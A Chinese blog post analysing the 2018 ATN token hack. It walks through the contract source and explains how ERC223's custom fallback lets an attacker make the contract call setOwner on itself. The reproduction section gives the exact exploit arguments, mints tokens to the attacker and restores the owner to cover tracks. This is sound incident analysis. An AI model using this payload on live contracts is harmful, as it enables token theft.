區(qū)塊鏈安全—深入分析ATN漏洞

一、ATN介紹

ATN作為全球首個(gè)區(qū)塊鏈+AI項(xiàng)目,是一個(gè)去中心化的、無需授權(quán)的、用戶自定義人工智能即服務(wù)(AIaaS)和使用接口的開放區(qū)塊鏈平臺(tái)。ATN公有鏈將引入DBot的Oracle預(yù)言機(jī)、跨鏈互操作技術(shù),且通過石墨烯架構(gòu)實(shí)現(xiàn)高并發(fā)TPS,側(cè)重解決人工智能服務(wù)(AIaas)與EVM兼容的智能合約之間互操作性的問題。ANT旨在提供下一代的區(qū)塊鏈平臺(tái),提供AIaaS人工智能即服務(wù)和智能合約,為各個(gè)DApp服務(wù),讓其可以具備調(diào)用人工智能能力,繁榮DBot生態(tài)。

然而在2018年5月11日中午,ATN安全檢測(cè)人員收到了異常的監(jiān)控報(bào)告,并發(fā)現(xiàn)其ATN存在漏洞并遭受攻擊。黑客利用了 ERC223 合約可傳入自定義的接收調(diào)用函數(shù)與 ds-auth 權(quán)限校驗(yàn)等特征,在 ERC223 合約調(diào)用這個(gè)自定義函數(shù)時(shí),合約調(diào)用自身函數(shù)從而造成內(nèi)部權(quán)限控制失效。而本文,我們就針對(duì)這次事件進(jìn)行漏洞分析,并在文章中對(duì)漏洞詳情進(jìn)行復(fù)現(xiàn)操作,以方便讀者進(jìn)行深入研究。

二、合約詳解

ATN Token合約采用的是在傳統(tǒng)ERC20Token合約基礎(chǔ)上的擴(kuò)展版本ERC223,并在此基礎(chǔ)上調(diào)用了dapphub/ds-auth 庫。而我們?cè)谇拔闹刑岬降暮霞s代碼均為ERC20,這里為何使用ERC23呢?下面我們介紹一下ERC23與ERC20的區(qū)別。

ERC223 是由 Dexaran 于 2017 年 3 月 5 日提出的一個(gè) Token 標(biāo)準(zhǔn)草案 ,用于改進(jìn) ERC20,解決其無法處理發(fā)往合約自身 Token 的這一問題。ERC20 有兩套代幣轉(zhuǎn)賬機(jī)制,一套為直接調(diào)用transfer()函數(shù),另一套為調(diào)用 approve() + transferFrom() 先授權(quán)再轉(zhuǎn)賬。當(dāng)轉(zhuǎn)賬對(duì)象為智能合約時(shí),這種情況必須使用第二套方法,否則轉(zhuǎn)往合約地址的 Token 將永遠(yuǎn)無法再次轉(zhuǎn)出。

下面我們具體來看一下ATN合約代碼的具體函數(shù)。

contract DSAuthority {
    function canCall(
        address src, address dst, bytes4 sig
    ) public view returns (bool);
}

contract DSAuthEvents {
    event LogSetAuthority (address indexed authority);
    event LogSetOwner     (address indexed owner);
}

首先,代碼定義了兩個(gè)合約,第一個(gè)合約作為接口,而第二個(gè)合約聲明了兩個(gè)事件,用于記錄Authority以及設(shè)置owner。

下面是DSAuth合約。

contract DSAuth is DSAuthEvents {
    DSAuthority  public  authority;
    address      public  owner;

    function DSAuth() public {
        owner = msg.sender;
        LogSetOwner(msg.sender);
    }

    function setOwner(address owner_)
        public
        auth
    {
        owner = owner_;
        LogSetOwner(owner);
    }

    function setAuthority(DSAuthority authority_)
        public
        auth
    {
        authority = authority_;
        LogSetAuthority(authority);
    }

    modifier auth {
        require(isAuthorized(msg.sender, msg.sig));
        _;
    }

    function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
        if (src == address(this)) {
            return true;
        } else if (src == owner) {
            return true;
        } else if (authority == DSAuthority(0)) {
            return false;
        } else {
            return authority.canCall(src, this, sig);
        }
    }
}

此合約定義了一些基本的函數(shù),而該合約大部分的功能是用于進(jìn)行身份認(rèn)證。例如setOwner用于更新owner的身份。而下面定義了一個(gè)auth修飾器,其中調(diào)用了下文的isAuthorized函數(shù)。次函數(shù)是來判斷該地址是否為合約為owner或者是否被授權(quán)。

下面合約定義了DSStop。

contract DSStop is DSNote, DSAuth {

    bool public stopped;

    modifier stoppable {
        require(!stopped);
        _;
    }
    function stop() public auth note {
        stopped = true;
    }
    function start() public auth note {
        stopped = false;
    }

}

看合約名我們也能清楚,該合約用于定義合約目前是否停止運(yùn)行。所以合約內(nèi)部定義了變量stopped并增加修飾器便于其余合約進(jìn)行繼承使用。

而為了防止出現(xiàn)整數(shù)溢出等問題,合約定義了安全函數(shù)。

contract DSMath {
    function add(uint x, uint y) internal pure returns (uint z) {
        require((z = x + y) >= x);
    }
    function sub(uint x, uint y) internal pure returns (uint z) {
        require((z = x - y) <= x);
    }
    function mul(uint x, uint y) internal pure returns (uint z) {
        require(y == 0 || (z = x * y) / y == x);
    }

    function min(uint x, uint y) internal pure returns (uint z) {
        return x <= y ? x : y;
    }
    function max(uint x, uint y) internal pure returns (uint z) {
        return x >= y ? x : y;
    }
    function imin(int x, int y) internal pure returns (int z) {
        return x <= y ? x : y;
    }
    function imax(int x, int y) internal pure returns (int z) {
        return x >= y ? x : y;
    }

    uint constant WAD = 10 ** 18;
    uint constant RAY = 10 ** 27;

    function wmul(uint x, uint y) internal pure returns (uint z) {
        z = add(mul(x, y), WAD / 2) / WAD;
    }
    function rmul(uint x, uint y) internal pure returns (uint z) {
        z = add(mul(x, y), RAY / 2) / RAY;
    }
    function wdiv(uint x, uint y) internal pure returns (uint z) {
        z = add(mul(x, WAD), y / 2) / y;
    }
    function rdiv(uint x, uint y) internal pure returns (uint z) {
        z = add(mul(x, RAY), y / 2) / y;
    }
    function rpow(uint x, uint n) internal pure returns (uint z) {
        z = n % 2 != 0 ? x : RAY;

        for (n /= 2; n != 0; n /= 2) {
            x = rmul(x, x);

            if (n % 2 != 0) {
                z = rmul(z, x);
            }
        }
    }
}

通讀此合約,我們能夠了解到在除了正常的加減乘除之外,合約還定義了平方求冪的運(yùn)算函數(shù)——rpow。不過此函數(shù)在ATN中并沒有進(jìn)行使用。

之后定義了DSTokenBase基礎(chǔ)合約。

contract DSTokenBase is ERC20, DSMath {
    uint256                                            _supply;
    mapping (address => uint256)                       _balances;
    mapping (address => mapping (address => uint256))  _approvals;

    function DSTokenBase(uint supply) public {
        _balances[msg.sender] = supply;
        _supply = supply;
    }

    function totalSupply() public view returns (uint) {
        return _supply;
    }
    function balanceOf(address src) public view returns (uint) {
        return _balances[src];
    }
    function allowance(address src, address guy) public view returns (uint) {
        return _approvals[src][guy];
    }

    function transfer(address dst, uint wad) public returns (bool) {
        return transferFrom(msg.sender, dst, wad);
    }

    function transferFrom(address src, address dst, uint wad)
        public
        returns (bool)
    {
        if (src != msg.sender) {
            _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
        }

        _balances[src] = sub(_balances[src], wad);
        _balances[dst] = add(_balances[dst], wad);

        Transfer(src, dst, wad);

        return true;
    }

    function approve(address guy, uint wad) public returns (bool) {
        _approvals[msg.sender][guy] = wad;

        Approval(msg.sender, guy, wad);

        return true;
    }
}

該合約與ERC20等基礎(chǔ)合約的部分相同,所以函數(shù)定義部分比較簡(jiǎn)單,這里就不進(jìn)行詳細(xì)說明。

contract DSToken is DSTokenBase(0), DSStop {

    mapping (address => mapping (address => bool)) _trusted;

    bytes32  public  symbol;
    uint256  public  decimals = 18; // standard token precision. override to customize

    function DSToken(bytes32 symbol_) public {
        symbol = symbol_;
    }

    event Trust(address indexed src, address indexed guy, bool wat);
    event Mint(address indexed guy, uint wad);
    event Burn(address indexed guy, uint wad);

    function trusted(address src, address guy) public view returns (bool) {
        return _trusted[src][guy];
    }
    function trust(address guy, bool wat) public stoppable {
        _trusted[msg.sender][guy] = wat;
        Trust(msg.sender, guy, wat);
    }

    function approve(address guy, uint wad) public stoppable returns (bool) {
        return super.approve(guy, wad);
    }
    function transferFrom(address src, address dst, uint wad)
        public
        stoppable
        returns (bool)
    {
        if (src != msg.sender && !_trusted[src][msg.sender]) {
            _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
        }

        _balances[src] = sub(_balances[src], wad);
        _balances[dst] = add(_balances[dst], wad);

        Transfer(src, dst, wad);

        return true;
    }

    function push(address dst, uint wad) public {
        transferFrom(msg.sender, dst, wad);
    }
    function pull(address src, uint wad) public {
        transferFrom(src, msg.sender, wad);
    }
    function move(address src, address dst, uint wad) public {
        transferFrom(src, dst, wad);
    }

    function mint(uint wad) public {
        mint(msg.sender, wad);
    }
    function burn(uint wad) public {
        burn(msg.sender, wad);
    }
    function mint(address guy, uint wad) public auth stoppable {
        _balances[guy] = add(_balances[guy], wad);
        _supply = add(_supply, wad);
        Mint(guy, wad);
    }
    function burn(address guy, uint wad) public auth stoppable {
        if (guy != msg.sender && !_trusted[guy][msg.sender]) {
            _approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad);
        }

        _balances[guy] = sub(_balances[guy], wad);
        _supply = sub(_supply, wad);
        Burn(guy, wad);
    }

    // Optional token name
    bytes32   public  name = "";

    function setName(bytes32 name_) public auth {
        name = name_;
    }
}

DSToken繼承了上文的合約以及用于停止合約運(yùn)行的DSStop合約。

比較值得注意的地方為_trusted。此函數(shù)類似于記錄授權(quán)值,只有被授權(quán)后的用戶才能代替進(jìn)行轉(zhuǎn)賬操作。并且此授權(quán)值有固定的金額。

mint函數(shù)也是此合約的重點(diǎn)。該函數(shù)用于增加某地址的金額數(shù)量,而想要執(zhí)行此函數(shù),必須經(jīng)過授權(quán)或者擁有權(quán)限。

之后合約定義了Controlled。

contract Controlled {
    /// @notice The address of the controller is the only address that can call
    ///  a function with this modifier
    modifier onlyController { if (msg.sender != controller) throw; _; }

    address public controller;

    function Controlled() { controller = msg.sender;}

    /// @notice Changes the controller of the contract
    /// @param _newController The new controller of the contract
    function changeController(address _newController) onlyController {
        controller = _newController;
    }
}

此合約用于進(jìn)行權(quán)限的判斷并進(jìn)行對(duì)controller的修改。

而下面就是我們ATN合約的具體函數(shù)內(nèi)容了。

ATN合約定義了多個(gè)類型的轉(zhuǎn)賬函數(shù),其名字均相同,但是傳入?yún)?shù)不同(便于參與者定制)。

    function transferFrom(address _from, address _to, uint256 _amount
    ) public returns (bool success) {
        // Alerts the token controller of the transfer
        if (isContract(controller)) {
            if (!TokenController(controller).onTransfer(_from, _to, _amount))
               throw;
        }

        success = super.transferFrom(_from, _to, _amount);

        if (success && isContract(_to))
        {
            // ERC20 backward compatiability
            if(!_to.call(bytes4(keccak256("tokenFallback(address,uint256)")), _from, _amount)) {
                // do nothing when error in call in case that the _to contract is not inherited from ERC223ReceivingContract
                // revert();
                // bytes memory empty;

                ReceivingContractTokenFallbackFailed(_from, _to, _amount);

                // Even the fallback failed if there is such one, the transfer will not be revert since "revert()" is not called.
            }
        }
    }

我們挑選其中一個(gè)進(jìn)行詳細(xì)講解。

    function transferFrom(address _from, address _to, uint256 _amount, bytes _data, string _custom_fallback)
        public
        returns (bool success)
    {
        // Alerts the token controller of the transfer
        if (isContract(controller)) {
            if (!TokenController(controller).onTransfer(_from, _to, _amount))
               throw;
        }

        require(super.transferFrom(_from, _to, _amount));

        if (isContract(_to)) {
            ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
            receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), _from, _amount, _data);
        }

        ERC223Transfer(_from, _to, _amount, _data);

        return true;
    }

在該合約中,我們知道函數(shù)首先判斷controller是否為一個(gè)合約而不是一個(gè)錢包地址。如何為合約的話,那么將調(diào)用TokenController中的onTransfer函數(shù)。

然而這并不是重點(diǎn),之后將使用require(super.transferFrom(_from, _to, _amount));函數(shù)進(jìn)行轉(zhuǎn)賬操作,此處使用了繼承的方法進(jìn)行轉(zhuǎn)賬,并使用require進(jìn)行對(duì)轉(zhuǎn)賬成功與否進(jìn)行判斷。只有成功才能繼續(xù)進(jìn)行。而后,我們將對(duì)_to地址進(jìn)行判斷,若此地址為合約,那么我們將調(diào)用receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), _from, _amount, _data);。而領(lǐng)我們疑問的是為什么次函數(shù)會(huì)調(diào)用receiver的內(nèi)部函數(shù)呢?我們?cè)谶@里理解為:ERC20Token與ERC20Token之間的直接互換。本質(zhì)上是發(fā)送ATN時(shí),通過回調(diào)函數(shù)執(zhí)行額外指令,比如發(fā)回其他Token。也就是說我們?cè)谶M(jìn)行了轉(zhuǎn)賬操作后可以傳入指令自動(dòng)執(zhí)行地址下的函數(shù),方便我們進(jìn)行連續(xù)操作。(出發(fā)點(diǎn)很好,但是因?yàn)榇硕嬖诹寺┒矗?/p>

而后是判定是否為合約的函數(shù)。

    function isContract(address _addr) constant internal returns(bool) {
        uint size;
        if (_addr == 0) return false;
        assembly {
            size := extcodesize(_addr)
        }
        return size>0;
    }

而為了保證安全性,合約還定義了轉(zhuǎn)賬函數(shù)以降低風(fēng)險(xiǎn)。

    /// @notice This method can be used by the controller to extract mistakenly
    ///  sent tokens to this contract.
    /// @param _token The address of the token contract that you want to recover
    ///  set to 0 in case you want to extract ether.
    function claimTokens(address _token) onlyController {
        if (_token == 0x0) {
            controller.transfer(this.balance);
            return;
        }

        ERC20 token = ERC20(_token);
        uint balance = token.balanceOf(this);
        token.transfer(controller, balance);
        ClaimedTokens(_token, controller, balance);
    }

這里定義了claimTokens合約用于將余額全部提取以防止出現(xiàn)大的安全隱患。

三、漏洞復(fù)現(xiàn)

根據(jù)我們上文解釋,我們能夠發(fā)現(xiàn)在ATN合約中的轉(zhuǎn)賬函數(shù)多次出現(xiàn)了遠(yuǎn)程調(diào)用的內(nèi)容。這其實(shí)是很危險(xiǎn)的行為。通常當(dāng)我們調(diào)用 ERC20 的 approve()函數(shù)給一個(gè)智能合約地址后,對(duì)方并不能收到相關(guān)通知進(jìn)行下一步操作,常見做法是利用 接收通知調(diào)用(receiverCall)來解決無法監(jiān)聽的問題。上面代碼是一種實(shí)現(xiàn)方式,很不幸這段代碼有嚴(yán)重的 CUSTOM_CALL 濫用漏洞。調(diào)用approveAndCall()函數(shù)后,會(huì)接著執(zhí)行_spender上用戶自定義的其他方法來進(jìn)行接收者的后續(xù)操作。

所以我們完全可以在transferFrom函數(shù)中傳入特定的參數(shù)從而執(zhí)行特定的函數(shù)。

function transferFrom(address _from, address _to, uint256 _amount,
bytes _data, string _custom_fallback) public returns (bool success)
{

ERC223ReceivingContract receiver =
ERC223ReceivingContract(_to);
receiving.call.value(0)(byte4(keccak256(_custom_fallback)),
_from, amout, data);

}

比如我們可以傳入:

transferFrom( hacker_address, atn_contract_address, 0, 0,
"setOwner(address)")

_from: 0xxxxxxxx-- 黑客地址
_to: 0xxxxxxx -- ATN合約地址
_amount: 0
_data: 0x0
_custom_fallback: setOwner(address)

這樣函數(shù)就會(huì)在執(zhí)行轉(zhuǎn)賬操作后執(zhí)行setOwner函數(shù)。此時(shí) setOwner會(huì)先驗(yàn)證 auth 合法性的,而 msg.sender 就是ATN的合約地址。此時(shí)黑客將 ATN Token合約的 owner 變更為自己控制的地址。

首先我們需要部署合約。

image.png

之后調(diào)用mint函數(shù)進(jìn)行挖礦向合約中注入一定資產(chǎn)。

image.png

進(jìn)行查看。

image.png

此時(shí)我們創(chuàng)建攻擊者賬戶。并查看其余額,查看當(dāng)前owner。

image.png
image.png

之后我們切換到攻擊者賬戶下,并傳入?yún)?shù):

image.png

"0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0xca35b7d915458ef540ade6068dfe2f44e8fa733c",0,0x00,"setOwner(address)"

傳入后,我們?cè)俅尾榭?code>owner的信息。

卻發(fā)現(xiàn)失敗了。仔細(xì)閱讀后發(fā)現(xiàn)我們需要將令_to為一個(gè)合約地址。

"0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0xbbf289d846208c16edc8474705c748aff07732db",0,0x00,"setOwner(address)"

更換地址后,我們執(zhí)行。得到如下結(jié)果。

image.png

此時(shí)我們能夠看到 owner已經(jīng)更換。

既然我們已經(jīng)成為合約擁有者,那么我們就給自己點(diǎn)福利。

image.png
image.png

我們成功給自己的賬戶中增加了一定的token。

之后我們?yōu)榱虽N聲匿跡。將合約主人換回從前。

至此,我們的攻擊目的已經(jīng)達(dá)到。

在真實(shí)ATN中,我們能夠查詢到真實(shí)攻擊的交易情況:

  1. 黑客獲得提權(quán),將自己的地址設(shè)為owner
    https://etherscan.io/tx/0x3b7bd618c49e693c92b2d6bfb3a5adeae498d9d170c15fcc79dd374166d28b7b

  2. 黑客在獲得owner權(quán)限后,發(fā)行1100w ATN到自己的攻擊主地址
    https://etherscan.io/tx/0x9b559ffae76d4b75d2f21bd643d44d1b96ee013c79918511e3127664f8f7a910

  3. 黑客將owner設(shè)置恢復(fù),企圖隱藏蹤跡
    https://etherscan.io/tx/0xfd5c2180f002539cd636132f1baae0e318d8f1162fb62fb5e3493788a034545a

四、參考鏈接

本稿為原創(chuàng)稿件,轉(zhuǎn)載請(qǐng)標(biāo)明出處。謝謝。

首發(fā):[https://xz.aliyun.com/t/4773](https://xz.aliyun.com/t/4773)

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 影響范圍:截止目前檢測(cè)到以太坊上部署的受影響的ERC20合約數(shù)量:146 最新更新: 火幣網(wǎng)已經(jīng)暫停了已經(jīng)上線交易...
    筆名輝哥閱讀 1,209評(píng)論 0 50
  • 雖然處于起步階段,但是 Solidity 已被廣泛采用,并被用于編譯我們今天看到的許多以太坊智能合約中的字節(jié)碼。相...
    筆名輝哥閱讀 1,326評(píng)論 0 53
  • 一、前言部分 最近研究了許多CVE文章,發(fā)現(xiàn)其內(nèi)容均涉及到某些團(tuán)隊(duì)或者個(gè)人搭建的私人以太坊代幣合約。而在研讀他們合...
    CPinging閱讀 1,422評(píng)論 0 1
  • 一、前言 在上一篇文章中,我們?cè)敿?xì)地講述了solidity中的整數(shù)溢出漏洞。而在本文中,我們將重點(diǎn)放在真實(shí)事件中,...
    CPinging閱讀 1,442評(píng)論 0 1
  • ① 慕色籠罩大地,本應(yīng)是人們休眠的時(shí)間,這里卻是燈火通明。 蘇護(hù)惶恐的站在臺(tái)下,額頭冒著密汗。他望了一眼臺(tái)上不...
    覓之樂至閱讀 1,526評(píng)論 6 12

友情鏈接更多精彩內(nèi)容